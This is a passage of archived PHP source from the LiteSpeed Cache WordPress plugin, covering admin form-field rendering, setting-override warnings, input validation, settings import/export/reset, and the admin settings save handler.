			$cols = 80;
		}

		$rows = $this->get_textarea_rows( $val );

		$this->enroll( $id );

		echo "<textarea name='" . esc_attr( $id ) . "' rows='" . (int) $rows . "' cols='" . (int) $cols . "'>" . esc_textarea( $val ) . '</textarea>';

		$this->_check_overwritten( $id );
	}

	/**
	 * Calculate textarea rows.
	 *
	 * @since 7.4
	 *
	 * @param string $val Text area value.
	 * @return int Number of rows to use.
	 */
	public function get_textarea_rows( $val ) {
		$rows  = 5;
		$lines = substr_count( (string) $val, "\n" ) + 2;
		if ( $lines > $rows ) {
			$rows = $lines;
		}
		if ( $rows > 40 ) {
			$rows = 40;
		}

		return $rows;
	}

	/**
	 * Build a text input field.
	 *
	 * @since 1.1.0
	 *
	 * @param string      $id       Setting ID.
	 * @param string|null $cls      CSS class.
	 * @param string|null $val      Value.
	 * @param string      $type     Input type.
	 * @param bool        $disabled Whether disabled.
	 * @return void
	 */
	public function build_input( $id, $cls = null, $val = null, $type = 'text', $disabled = false ) {
		if ( null === $val ) {
			$val = $this->conf( $id, true );

			// Mask passwords.
			if ( $this->_conf_pswd( $id ) && $val ) {
				$val = str_repeat( '*', strlen( $val ) );
			}
		}

		$label_id = preg_replace( '/\W/', '', $id );

		if ( 'text' === $type ) {
			$cls = "regular-text $cls";
		}

		if ( $disabled ) {
			echo "<input type='" . esc_attr( $type ) . "' class='" . esc_attr( $cls ) . "' value='" . esc_attr( $val ) . "' id='input_" . esc_attr( $label_id ) . "' disabled /> ";
		} else {
			$this->enroll( $id );
			echo "<input type='" . esc_attr( $type ) . "' class='" . esc_attr( $cls ) . "' name='" . esc_attr( $id ) . "' value='" . esc_attr( $val ) . "' id='input_" . esc_attr( $label_id ) . "' /> ";
		}

		$this->_check_overwritten( $id );
	}

	/**
	 * Build a checkbox HTML snippet.
	 *
	 * @since 1.1.0
	 *
	 * @param string     $id      Setting ID.
	 * @param string     $title   Checkbox label (HTML allowed).
	 * @param bool|null  $checked Whether checked.
	 * @param int|string $value   Checkbox value.
	 * @return void
	 */
	public function build_checkbox( $id, $title, $checked = null, $value = 1 ) {
		if ( null === $checked && $this->conf( $id, true ) ) {
			$checked = true;
		}

		$label_id = preg_replace( '/\W/', '', $id );

		if ( 1 !== $value ) {
			$label_id .= '_' . $value;
		}

		$this->enroll( $id );

		echo "<div class='litespeed-tick'>
			<input type='checkbox' name='" . esc_attr( $id ) . "' id='input_checkbox_" . esc_attr( $label_id ) . "' value='" . esc_attr( $value ) . "' " . checked( (bool) $checked, true, false ) . " />
			<label for='input_checkbox_" . esc_attr( $label_id ) . "'>" . wp_kses_post( $title ) . '</label>
		</div>';

		$this->_check_overwritten( $id );
	}

	/**
	 * Build a toggle checkbox snippet.
	 *
	 * @since 1.7
	 *
	 * @param string      $id        Setting ID.
	 * @param bool|null   $checked   Whether enabled.
	 * @param string|null $title_on  Label when on.
	 * @param string|null $title_off Label when off.
	 * @return void
	 */
	public function build_toggle( $id, $checked = null, $title_on = null, $title_off = null ) {
		if ( null === $checked && $this->conf( $id, true ) ) {
			$checked = true;
		}
		if ( null === $title_on ) {
			$title_on  = __( 'ON', 'litespeed-cache' );
			$title_off = __( 'OFF', 'litespeed-cache' );
		}
		$cls = $checked ? 'primary' : 'default litespeed-toggleoff';
		echo "<div class='litespeed-toggle litespeed-toggle-btn litespeed-toggle-btn-" . esc_attr( $cls ) . "' data-litespeed-toggle-on='primary' data-litespeed-toggle-off='default' data-litespeed_toggle_id='" . esc_attr( $id ) . "' >
				<input name='" . esc_attr( $id ) . "' type='hidden' value='" . esc_attr( $checked ) . "' />
				<div class='litespeed-toggle-group'>
					<label class='litespeed-toggle-btn litespeed-toggle-btn-primary litespeed-toggle-on'>" . esc_html( $title_on ) . "</label>
					<label class='litespeed-toggle-btn litespeed-toggle-btn-default litespeed-toggle-active litespeed-toggle-off'>" . esc_html( $title_off ) . "</label>
					<span class='litespeed-toggle-handle litespeed-toggle-btn litespeed-toggle-btn-default'></span>
				</div>
			</div>";
	}

	/**
	 * Build a switch (radio) field.
	 *
	 * @since 1.1.0
	 * @since 1.7 Removed $disable param.
	 *
	 * @param string                 $id         Setting ID.
	 * @param array<int,mixed>|false $title_list Labels for options (OFF/ON).
	 * @return void
	 */
	public function build_switch( $id, $title_list = false ) {
		$this->enroll( $id );

		echo '<div class="litespeed-switch">';

		if ( ! $title_list ) {
			$title_list = array( __( 'OFF', 'litespeed-cache' ), __( 'ON', 'litespeed-cache' ) );
		}

		foreach ( $title_list as $k => $v ) {
			$this->_build_radio( $id, $k, $v );
		}

		echo '</div>';

		$this->_check_overwritten( $id );
	}

	/**
	 * Build a radio input and echo it.
	 *
	 * @since 1.1.0
	 * @access private
	 *
	 * @param string     $id  Setting ID.
	 * @param int|string $val Value for the radio.
	 * @param string     $txt Label HTML.
	 * @return void
	 */
	private function _build_radio( $id, $val, $txt ) {
		$id_attr = 'input_radio_' . preg_replace( '/\W/', '', $id ) . '_' . $val;

		$default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ];

		$is_checked = ! is_string( $default )
			? ( (int) $this->conf( $id, true ) === (int) $val )
			: ( $this->conf( $id, true ) === $val );

		echo "<input type='radio' autocomplete='off' name='" . esc_attr( $id ) . "' id='" . esc_attr( $id_attr ) . "' value='" . esc_attr( $val ) . "' " . checked( $is_checked, true, false ) . " /> <label for='" . esc_attr( $id_attr ) . "'>" . wp_kses_post( $txt ) . '</label>';
	}

	/**
	 * Show overwritten info if value comes from const/primary/filter/server.
	 *
	 * @since 3.0
	 * @since 7.4 Show value from filters. Added type parameter.
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _check_overwritten( $id ) {
		$const_val   = $this->const_overwritten( $id );
		$primary_val = $this->primary_overwritten( $id );
		$filter_val  = $this->filter_overwritten( $id );
		$server_val  = $this->server_overwritten( $id );

		if ( null === $const_val && null === $primary_val && null === $filter_val && null === $server_val ) {
			return;
		}

		// Get value to display.
		$val = null !== $const_val ? $const_val : $primary_val;
		// If we have filter_val will set as new val.
		if ( null !== $filter_val ) {
			$val = $filter_val;
		}
		// If we have server_val will set as new val.
		if ( null !== $server_val ) {
			$val = $server_val;
		}

		// Get type (used for display purpose).
		$type = ( isset( self::$settings_filters[ $id ] ) && isset( self::$settings_filters[ $id ]['type'] ) ) ? self::$settings_filters[ $id ]['type'] : 'textarea';
		if ( ( null !== $const_val || null !== $primary_val ) && null === $filter_val ) {
			$type = 'setting';
		}

		// Get default setting: if settings exist, use default setting, otherwise use filter/server value.
		$default = '';
		if ( isset( self::$_default_options[ $id ] ) || isset( self::$_default_site_options[ $id ] ) ) {
			$default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ];
		}
		if ( null !== $filter_val || null !== $server_val ) {
			$default = null !== $filter_val ? $filter_val : $server_val;
		}

		// Set value to display, will be a string.
		if ( is_bool( $default ) ) {
			$val = $val ? __( 'ON', 'litespeed-cache' ) : __( 'OFF', 'litespeed-cache' );
		} else {
			if ( is_array( $val ) ) {
				$val = implode( "\n", $val );
			}
			$val = esc_textarea( $val );
		}

		// Show warning for all types except textarea.
		if ( 'textarea' !== $type ) {
			echo '<div class="litespeed-desc litespeed-warning litespeed-overwrite">⚠️ ';

			if ( null !== $server_val ) {
				// Show $_SERVER value.
				printf( esc_html__( 'This value is overwritten by the %s variable.', 'litespeed-cache' ), '$_SERVER' );
				$val = '$_SERVER["' . $server_val[0] . '"] = ' . $server_val[1];
			} elseif ( null !== $filter_val ) {
				// Show filter value.
				echo esc_html__( 'This value is overwritten by the filter.', 'litespeed-cache' );
			} elseif ( null !== $const_val ) {
				// Show CONSTANT value.
				printf( esc_html__( 'This value is overwritten by the PHP constant %s.', 'litespeed-cache' ), '<code>' . esc_html( Base::conf_const( $id ) ) . '</code>' );
			} elseif ( is_multisite() ) {
				// Show multisite overwrite.
				if ( get_current_blog_id() !== BLOG_ID_CURRENT_SITE && $this->conf( self::NETWORK_O_USE_PRIMARY ) ) {
					echo esc_html__( 'This value is overwritten by the primary site setting.', 'litespeed-cache' );
				} else {
					echo esc_html__( 'This value is overwritten by the Network setting.', 'litespeed-cache' );
				}
			}

			echo ' ' . sprintf( esc_html__( 'Currently set to %s', 'litespeed-cache' ), '<code>' . esc_html( $val ) . '</code>' ) . '</div>';
		} elseif ( 'textarea' === $type && null !== $filter_val ) {
			// Show warning for textarea.
			// Textarea sizes.
			$cols             = 30;
			$rows             = $this->get_textarea_rows( $val );
			$rows_current_val = $this->get_textarea_rows( implode( "\n", $this->conf( $id, true ) ) );
			// If filter rows is bigger than textarea size, equalize them.
			if ( $rows > $rows_current_val ) {
				$rows = $rows_current_val;
			}
			?>
			<div class="litespeed-desc-wrapper">
				<div class="litespeed-desc"><?php echo esc_html__( 'Value from filter applied', 'litespeed-cache' ); ?>:</div>
				<textarea readonly rows="<?php echo (int) $rows; ?>" cols="<?php echo (int) $cols; ?>"><?php echo esc_textarea( $val ); ?></textarea>
			</div>
			<?php
		}
	}

	/**
	 * Display seconds label and readable span.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function readable_seconds() {
		echo esc_html__( 'seconds', 'litespeed-cache' );
		echo ' <span data-litespeed-readable=""></span>';
	}

	/**
	 * Display default value for a setting.
	 *
	 * @since 1.1.1
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	public function recommended( $id ) {
		if ( ! $this->default_settings ) {
			$this->default_settings = $this->load_default_vals();
		}

		$val = $this->default_settings[ $id ];

		if ( ! $val ) {
			return;
		}

		if ( ! is_array( $val ) ) {
			printf(
				'%s: <code>%s</code>',
				esc_html__( 'Default value', 'litespeed-cache' ),
				esc_html( $val )
			);
			return;
		}

		$rows = 5;
		$cols = 30;
		// Flexible rows/cols.
		$lines = count( $val ) + 1;
		$rows  = min( max( $lines, $rows ), 40 );
		foreach ( $val as $v ) {
			$cols = max( strlen( $v ), $cols );
		}
		$cols = min( $cols, 150 );

		$val = implode( "\n", $val );
		printf(
			'<div class="litespeed-desc">%s:</div><textarea readonly rows="%d" cols="%d">%s</textarea>',
			esc_html__( 'Default value', 'litespeed-cache' ),
			(int) $rows,
			(int) $cols,
			esc_textarea( $val )
		);
	}

	/**
	 * Validate rewrite rules regex syntax.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _validate_syntax( $id ) {
		$val = $this->conf( $id, true );

		if ( ! $val ) {
			return;
		}

		if ( ! is_array( $val ) ) {
			$val = array( $val );
		}

		foreach ( $val as $v ) {
			if ( ! Utility::syntax_checker( $v ) ) {
				echo '<br /><span class="litespeed-warning"> ❌ ' . esc_html__( 'Invalid rewrite rule', 'litespeed-cache' ) . ': <code>' . wp_kses_post( $v ) . '</code></span>';
			}
		}
	}

	/**
	 * Validate if the .htaccess path is valid.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _validate_htaccess_path( $id ) {
		$val = $this->conf( $id, true );
		if ( ! $val ) {
			return;
		}

		if ( '/.htaccess' !== substr( $val, -10 ) ) {
			echo '<br /><span class="litespeed-warning"> ❌ ' . sprintf( esc_html__( 'Path must end with %s', 'litespeed-cache' ), '<code>/.htaccess</code>' ) . '</span>';
		}
	}

	/**
	 * Check TTL ranges and show tips.
	 *
	 * @since 3.0
	 *
	 * @param string   $id         Setting ID.
	 * @param int|bool $min        Minimum value (or false).
	 * @param int|bool $max        Maximum value (or false).
	 * @param bool     $allow_zero Whether zero is allowed.
	 * @return void
	 */
	protected function _validate_ttl( $id, $min = false, $max = false, $allow_zero = false ) {
		$val = $this->conf( $id, true );

		$tip = array();
		if ( $min && $val < $min && ( ! $allow_zero || 0 !== $val ) ) {
			$tip[] = esc_html__( 'Minimum value', 'litespeed-cache' ) . ': <code>' . $min . '</code>.';
		}
		if ( $max && $val > $max ) {
			$tip[] = esc_html__( 'Maximum value', 'litespeed-cache' ) . ': <code>' . $max . '</code>.';
		}

		echo '<br />';

		if ( $tip ) {
			echo '<span class="litespeed-warning"> ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . '</span>';
		}

		$range = '';

		if ( $allow_zero ) {
			$range .= esc_html__( 'Zero, or', 'litespeed-cache' ) . ' ';
		}

		if ( $min && $max ) {
			$range .= $min . ' - ' . $max;
		} elseif ( $min ) {
			$range .= esc_html__( 'Larger than', 'litespeed-cache' ) . ' ' . $min;
		} elseif ( $max ) {
			$range .= esc_html__( 'Smaller than', 'litespeed-cache' ) . ' ' . $max;
		}

		echo esc_html__( 'Value range', 'litespeed-cache' ) . ': <code>' . esc_html( $range ) . '</code>';
	}

	/**
	 * Validate IPs in a list.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _validate_ip( $id ) {
		$val = $this->conf( $id, true );
		if ( ! $val ) {
			return;
		}

		if ( ! is_array( $val ) ) {
			$val = array( $val );
		}

		$tip = array();
		foreach ( $val as $v ) {
			if ( ! $v ) {
				continue;
			}

			if ( ! \WP_Http::is_ip_address( $v ) ) {
				$tip[] = esc_html__( 'Invalid IP', 'litespeed-cache' ) . ': <code>' . esc_html( $v ) . '</code>.';
			}
		}

		if ( $tip ) {
			echo '<br /><span class="litespeed-warning"> ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . '</span>';
		}
	}

	/**
	 * Display API environment variable support.
	 *
	 * @since 1.8.3
	 * @access protected
	 *
	 * @param string ...$args Server variable names.
	 * @return void
	 */
	protected function _api_env_var( ...$args ) {
		echo '<span class="litespeed-success"> ' .
			esc_html__( 'API', 'litespeed-cache' ) . ': ' .
			sprintf(
				/* translators: %s: list of server variables in <code> tags */
				esc_html__( 'Server variable(s) %s available to override this setting.', 'litespeed-cache' ),
				'<code>' . implode( '</code>, <code>', array_map( 'esc_html', $args ) ) . '</code>'
			) .
			'</span>';

		Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#limiting-the-crawler' );
	}

	/**
	 * Display URI setting example.
	 *
	 * @since 2.6.1
	 * @access protected
	 * @return void
	 */
	protected function _uri_usage_example() {
		echo esc_html__( 'The URLs will be compared to the REQUEST_URI server variable.', 'litespeed-cache' );
		/* translators: 1: example URL, 2: pattern example */
		echo ' ' . sprintf( esc_html__( 'For example, for %1$s, %2$s can be used here.', 'litespeed-cache' ), '<code>/mypath/mypage?aa=bb</code>', '<code>mypage?aa=</code>' );
		echo '<br /><i>';
		/* translators: %s: caret symbol */
		printf( esc_html__( 'To match the beginning, add %s to the beginning of the item.', 'litespeed-cache' ), '<code>^</code>' );
		/* translators: %s: dollar symbol */
		echo ' ' . sprintf( esc_html__( 'To do an exact match, add %s to the end of the URL.', 'litespeed-cache' ), '<code>$</code>' );
		echo ' ' . esc_html__( 'One per line.', 'litespeed-cache' );
		echo '</i>';
	}

	/**
	 * Return pluralized strings.
	 *
	 * @since 2.0
	 *
	 * @param int    $num  Number.
	 * @param string $kind Kind of item (group|image).
	 * @return string
	 */
	public static function print_plural( $num, $kind = 'group' ) {
		if ( $num > 1 ) {
			switch ( $kind ) {
				case 'group':
					return sprintf( esc_html__( '%s groups', 'litespeed-cache' ), $num );

				case 'image':
					return sprintf( esc_html__( '%s images', 'litespeed-cache' ), $num );

				default:
					return $num;
			}
		}

		switch ( $kind ) {
			case 'group':
				return sprintf( esc_html__( '%s group', 'litespeed-cache' ), $num );

			case 'image':
				return sprintf( esc_html__( '%s image', 'litespeed-cache' ), $num );

			default:
				return $num;
		}
	}

	/**
	 * Return guidance HTML.
	 *
	 * @since 2.0
	 *
	 * @param string            $title        Title HTML.
	 * @param array<int,string> $steps        Steps list (HTML allowed).
	 * @param int|string        $current_step Current step number or 'done'.
	 * @return string HTML for guidance widget.
	 */
	public static function guidance( $title, $steps, $current_step ) {
		if ( 'done' === $current_step ) {
			$current_step = count( $steps ) + 1;
		}

		$percentage = ' (' . floor( ( ( $current_step - 1 ) * 100 ) / count( $steps ) ) . '%)';

		$html = '<div class="litespeed-guide"><h2>' . $title . $percentage . '</h2><ol>';
		foreach ( $steps as $k => $v ) {
			$step = $k + 1;
			if ( $current_step > $step ) {
				$html .= '<li class="litespeed-guide-done">';
			} else {
				$html .= '<li>';
			}
			$html .= $v . '</li>';
		}

		$html .= '</ol></div>';

		return $html;
	}

	/**
	 * Check whether has QC hide banner cookie.
	 *
	 * @since 7.1
	 *
	 * @return bool
	 */
	public static function has_qc_hide_banner() {
		return isset( $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) && ( time() - (int) $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) < 86400 * 90;
	}

	/**
	 * Set QC hide banner cookie.
	 *
	 * @since 7.1
	 * @return void
	 */
	public static function set_qc_hide_banner() {
		$expire = time() + 86400 * 365;
		self::debug( 'Set qc hide banner cookie' );
		setcookie( self::COOKIE_QC_HIDE_BANNER, time(), $expire, COOKIEPATH, COOKIE_DOMAIN );
	}

	/**
	 * Handle all request actions from main cls.
	 *
	 * @since 7.1
	 * @return void
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ( $type ) {
			case self::TYPE_QC_HIDE_BANNER:
				self::set_qc_hide_banner();
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/import.cls.php000064400000010453151031165260017664 0ustar00<?php
// phpcs:ignoreFile

/**
 * The import/export class.
 *
 * @since       1.8.2
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Import extends Base {

	protected $_summary;

	const TYPE_IMPORT = 'import';
	const TYPE_EXPORT = 'export';
	const TYPE_RESET  = 'reset';

	/**
	 * Init
	 *
	 * @since  1.8.2
	 */
	public function __construct() {
		Debug2::debug('Import init');

		$this->_summary = self::get_summary();
	}

	/**
	 * Export settings to file
	 *
	 * @since 1.8.2
	 * @since 7.3 added download content type
	 * @access public
	 */
	public function export( $only_data_return = false ) {
		$raw_data = $this->get_options(true);

		$data = array();
		foreach ($raw_data as $k => $v) {
			$data[] = \json_encode(array( $k, $v ));
		}

		$data = implode("\n\n", $data);

		if ($only_data_return) {
			return $data;
		}

		$filename = $this->_generate_filename();

		// Update log
		$this->_summary['export_file'] = $filename;
		$this->_summary['export_time'] = time();
		self::save_summary();

		Debug2::debug('Import: Saved to ' . $filename);

		@header('Content-Type: application/octet-stream');
		@header('Content-Disposition: attachment; filename=' . $filename);
		echo $data;

		exit();
	}

	/**
	 * Import settings from file
	 *
	 * @since  1.8.2
	 * @access public
	 */
	public function import( $file = false ) {
		if (!$file) {
			if (empty($_FILES['ls_file']['name']) || substr($_FILES['ls_file']['name'], -5) != '.data' || empty($_FILES['ls_file']['tmp_name'])) {
				Debug2::debug('Import: Failed to import, wrong ls_file');

				$msg = __('Import failed due to file error.', 'litespeed-cache');
				Admin_Display::error($msg);

				return false;
			}

			$this->_summary['import_file'] = $_FILES['ls_file']['name'];

			$data = file_get_contents($_FILES['ls_file']['tmp_name']);
		} else {
			$this->_summary['import_file'] = $file;

			$data = file_get_contents($file);
		}

		// Update log
		$this->_summary['import_time'] = time();
		self::save_summary();

		$ori_data = array();
		try {
			// Check if the data is v4+ or not
			if (strpos($data, '["_version",') === 0) {
				Debug2::debug('[Import] Data version: v4+');
				$data = explode("\n", $data);
				foreach ($data as $v) {
					$v = trim($v);
					if (!$v) {
						continue;
					}
					list($k, $v)  = \json_decode($v, true);
					$ori_data[$k] = $v;
				}
			} else {
				$ori_data = \json_decode(base64_decode($data), true);
			}
		} catch (\Exception $ex) {
			Debug2::debug('[Import] ❌ Failed to parse serialized data');
			return false;
		}

		if (!$ori_data) {
			Debug2::debug('[Import] ❌ Failed to import, no data');
			return false;
		} else {
			Debug2::debug('[Import] Importing data', $ori_data);
		}

		$this->cls('Conf')->update_confs($ori_data);

		if (!$file) {
			Debug2::debug('Import: Imported ' . $_FILES['ls_file']['name']);

			$msg = sprintf(__('Imported setting file %s successfully.', 'litespeed-cache'), $_FILES['ls_file']['name']);
			Admin_Display::success($msg);
		} else {
			Debug2::debug('Import: Imported ' . $file);
		}

		return true;
	}

	/**
	 * Reset all configs to default values.
	 *
	 * @since  2.6.3
	 * @access public
	 */
	public function reset() {
		$options = $this->cls('Conf')->load_default_vals();

		$this->cls('Conf')->update_confs($options);

		Debug2::debug('[Import] Reset successfully.');

		$msg = __('Reset successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Generate the filename to export
	 *
	 * @since  1.8.2
	 * @access private
	 */
	private function _generate_filename() {
		// Generate filename
		$parsed_home = parse_url(get_home_url());
		$filename    = 'LSCWP_cfg-';
		if (!empty($parsed_home['host'])) {
			$filename .= $parsed_home['host'] . '_';
		}

		if (!empty($parsed_home['path'])) {
			$filename .= $parsed_home['path'] . '_';
		}

		$filename = str_replace('/', '_', $filename);

		$filename .= '-' . date('Ymd_His') . '.data';

		return $filename;
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  1.8.2
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_IMPORT:
            $this->import();
				break;

			case self::TYPE_EXPORT:
            $this->export();
				break;

			case self::TYPE_RESET:
            $this->reset();
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/admin-settings.cls.php000064400000026167151031165260021311 0ustar00<?php
/**
 * The admin settings handler of the plugin.
 *
 * Handles saving and validating settings from the admin UI and network admin.
 *
 * @since      1.1.0
 * @package    LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Admin_Settings
 *
 * Saves, sanitizes, and validates LiteSpeed Cache settings.
 */
class Admin_Settings extends Base {
	const LOG_TAG = '[Settings]';

	const ENROLL = '_settings-enroll';

	/**
	 * Save settings (single site).
	 *
	 * Accepts data from $_POST or WP-CLI.
	 * Importers may call the Conf class directly.
	 *
	 * @since 3.0
	 *
	 * @param array<string,mixed> $raw_data Raw data from request/CLI.
	 * @return void
	 */
	public function save( $raw_data ) {
		self::debug( 'saving' );

		if ( empty( $raw_data[ self::ENROLL ] ) ) {
			wp_die( esc_html__( 'No fields', 'litespeed-cache' ) );
		}

		$raw_data = Admin::cleanup_text( $raw_data );

		// Convert data to config format.
		$the_matrix = [];
		foreach ( array_unique( $raw_data[ self::ENROLL ] ) as $id ) {
			$child = false;

			// Drop array format.
			if ( false !== strpos( $id, '[' ) ) {
				if ( 0 === strpos( $id, self::O_CDN_MAPPING ) || 0 === strpos( $id, self::O_CRAWLER_COOKIES ) ) {
					// CDN child | Cookie Crawler settings.
					$child = substr( $id, strpos( $id, '[' ) + 1, strpos( $id, ']' ) - strpos( $id, '[' ) - 1 );
					// Drop ending []; Compatible with xx[0] way from CLI.
					$id = substr( $id, 0, strpos( $id, '[' ) );
				} else {
					// Drop ending [].
					$id = substr( $id, 0, strpos( $id, '[' ) );
				}
			}

			if ( ! array_key_exists( $id, self::$_default_options ) ) {
				continue;
			}

			// Validate $child.
			if ( self::O_CDN_MAPPING === $id ) {
				if ( ! in_array( $child, [ self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE ], true ) ) {
					continue;
				}
			}
			if ( self::O_CRAWLER_COOKIES === $id ) {
				if ( ! in_array( $child, [ self::CRWL_COOKIE_NAME, self::CRWL_COOKIE_VALS ], true ) ) {
					continue;
				}
			}

			// Pull value from request.
			if ( $child ) {
				// []=xxx or [0]=xxx
				$data = ! empty( $raw_data[ $id ][ $child ] ) ? $raw_data[ $id ][ $child ] : $this->type_casting(false, $id);
			} else {
				$data = ! empty( $raw_data[ $id ] ) ? $raw_data[ $id ] : $this->type_casting(false, $id);
			}

			// Sanitize/normalize complex fields.
			if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) {
				// Use existing queued data if available (only when $child != false).
				$data2 = array_key_exists( $id, $the_matrix )
					? $the_matrix[ $id ]
					: ( defined( 'WP_CLI' ) && WP_CLI ? $this->conf( $id ) : [] );
			}

			switch ( $id ) {
				// Don't allow Editor/admin to be used in crawler role simulator.
				case self::O_CRAWLER_ROLES:
					$data = Utility::sanitize_lines( $data );
					if ( $data ) {
						foreach ( $data as $k => $v ) {
							if ( user_can( $v, 'edit_posts' ) ) {
								/* translators: %s: user id in <code> tags */
								$msg = sprintf(
									esc_html__( 'The user with id %s has editor access, which is not allowed for the role simulator.', 'litespeed-cache' ),
									'<code>' . esc_html( $v ) . '</code>'
								);
								Admin_Display::error( $msg );
								unset( $data[ $k ] );
							}
						}
					}
					break;

				case self::O_CDN_MAPPING:
					/**
					 * CDN setting
					 *
					 * Raw data format:
					 *  cdn-mapping[url][] = 'xxx'
					 *  cdn-mapping[url][2] = 'xxx2'
					 *  cdn-mapping[inc_js][] = 1
					 *
					 * Final format:
					 *  cdn-mapping[0][url] = 'xxx'
					 *  cdn-mapping[2][url] = 'xxx2'
					 */
					if ( $data ) {
						foreach ( $data as $k => $v ) {
							if ( self::CDN_MAPPING_FILETYPE === $child ) {
								$v = Utility::sanitize_lines( $v );
							}

							if ( self::CDN_MAPPING_URL === $child ) {
								// If not a valid URL, turn off CDN.
								if ( 0 !== strpos( $v, 'https://' ) ) {
									self::debug( '❌ CDN mapping set to OFF due to invalid URL' );
									$the_matrix[ self::O_CDN ] = false;
								}
								$v = trailingslashit( $v );
							}

							if ( in_array( $child, [ self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS ], true ) ) {
								// Because these can't be auto detected in `config->update()`, need to format here.
								$v = 'false' === $v ? 0 : (bool) $v;
							}

							if ( empty( $data2[ $k ] ) ) {
								$data2[ $k ] = [];
							}

							$data2[ $k ][ $child ] = $v;
						}
					}

					$data = $data2;
					break;

				case self::O_CRAWLER_COOKIES:
					/**
					 * Cookie Crawler setting
					 * Raw Format:
					 *  crawler-cookies[name][] = xxx
					 *  crawler-cookies[name][2] = xxx2
					 *  crawler-cookies[vals][] = xxx
					 *
					 * Final format:
					 *  crawler-cookie[0][name] = 'xxx'
					 *  crawler-cookie[0][vals] = 'xxx'
					 *  crawler-cookie[2][name] = 'xxx2'
					 *
					 * Empty line for `vals` uses literal `_null`.
					 */
					if ( $data ) {
						foreach ( $data as $k => $v ) {
							if ( self::CRWL_COOKIE_VALS === $child ) {
								$v = Utility::sanitize_lines( $v );
							}

							if ( empty( $data2[ $k ] ) ) {
								$data2[ $k ] = [];
							}

							$data2[ $k ][ $child ] = $v;
						}
					}

					$data = $data2;
					break;

				// Cache exclude category.
				case self::O_CACHE_EXC_CAT:
					$data2 = [];
					$data  = Utility::sanitize_lines( $data );
					foreach ( $data as $v ) {
						$cat_id = get_cat_ID( $v );
						if ( ! $cat_id ) {
							continue;
						}
						$data2[] = $cat_id;
					}
					$data = $data2;
					break;

				// Cache exclude tag.
				case self::O_CACHE_EXC_TAG:
					$data2 = [];
					$data  = Utility::sanitize_lines( $data );
					foreach ( $data as $v ) {
						$term = get_term_by( 'name', $v, 'post_tag' );
						if ( ! $term ) {
							// Could surface an admin error here if desired.
							continue;
						}
						$data2[] = $term->term_id;
					}
					$data = $data2;
					break;
					
				case self::O_IMG_OPTM_SIZES_SKIPPED: // Skip image sizes
					$image_sizes = Utility::prepare_image_sizes_array();
					$saved_sizes = isset( $raw_data[$id] ) ? $raw_data[$id] : [];
					$data        = array_diff( $image_sizes, $saved_sizes );
					break;

				default:
					break;
			}

			$the_matrix[ $id ] = $data;
		}

		// Special handler for CDN/Crawler 2d list to drop empty rows.
		foreach ( $the_matrix as $id => $data ) {
			/**
			 * Format:
			 *  cdn-mapping[0][url] = 'xxx'
			 *  cdn-mapping[2][url] = 'xxx2'
			 *  crawler-cookie[0][name] = 'xxx'
			 *  crawler-cookie[0][vals] = 'xxx'
			 *  crawler-cookie[2][name] = 'xxx2'
			 */
			if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) {
				// Drop row if all children are empty.
				foreach ( $data as $k => $v ) {
					foreach ( $v as $v2 ) {
						if ( $v2 ) {
							continue 2;
						}
					}
					// All empty.
					unset( $the_matrix[ $id ][ $k ] );
				}
			}

			// Don't allow repeated cookie names.
			if ( self::O_CRAWLER_COOKIES === $id ) {
				$existed = [];
				foreach ( $the_matrix[ $id ] as $k => $v ) {
					if ( empty( $v[ self::CRWL_COOKIE_NAME ] ) || in_array( $v[ self::CRWL_COOKIE_NAME ], $existed, true ) ) {
						// Filter repeated or empty name.
						unset( $the_matrix[ $id ][ $k ] );
						continue;
					}

					$existed[] = $v[ self::CRWL_COOKIE_NAME ];
				}
			}

			// tmp fix the 3rd part woo update hook issue when enabling vary cookie.
			if ( 'wc_cart_vary' === $id ) {
				if ( $data ) {
					add_filter(
						'litespeed_vary_cookies',
						function ( $arr ) {
							$arr[] = 'woocommerce_cart_hash';
							return array_unique( $arr );
						}
					);
				} else {
					add_filter(
						'litespeed_vary_cookies',
						function ( $arr ) {
							$key = array_search( 'woocommerce_cart_hash', $arr, true );
							if ( false !== $key ) {
								unset( $arr[ $key ] );
							}
							return array_unique( $arr );
						}
					);
				}
			}
		}

		// id validation will be inside.
		$this->cls( 'Conf' )->update_confs( $the_matrix );

		$msg = __( 'Options saved.', 'litespeed-cache' );
		Admin_Display::success( $msg );
	}

	/**
	 * Parses any changes made by the network admin on the network settings.
	 *
	 * @since 3.0
	 *
	 * @param array<string,mixed> $raw_data Raw data from request/CLI.
	 * @return void
	 */
	public function network_save( $raw_data ) {
		self::debug( 'network saving' );

		if ( empty( $raw_data[ self::ENROLL ] ) ) {
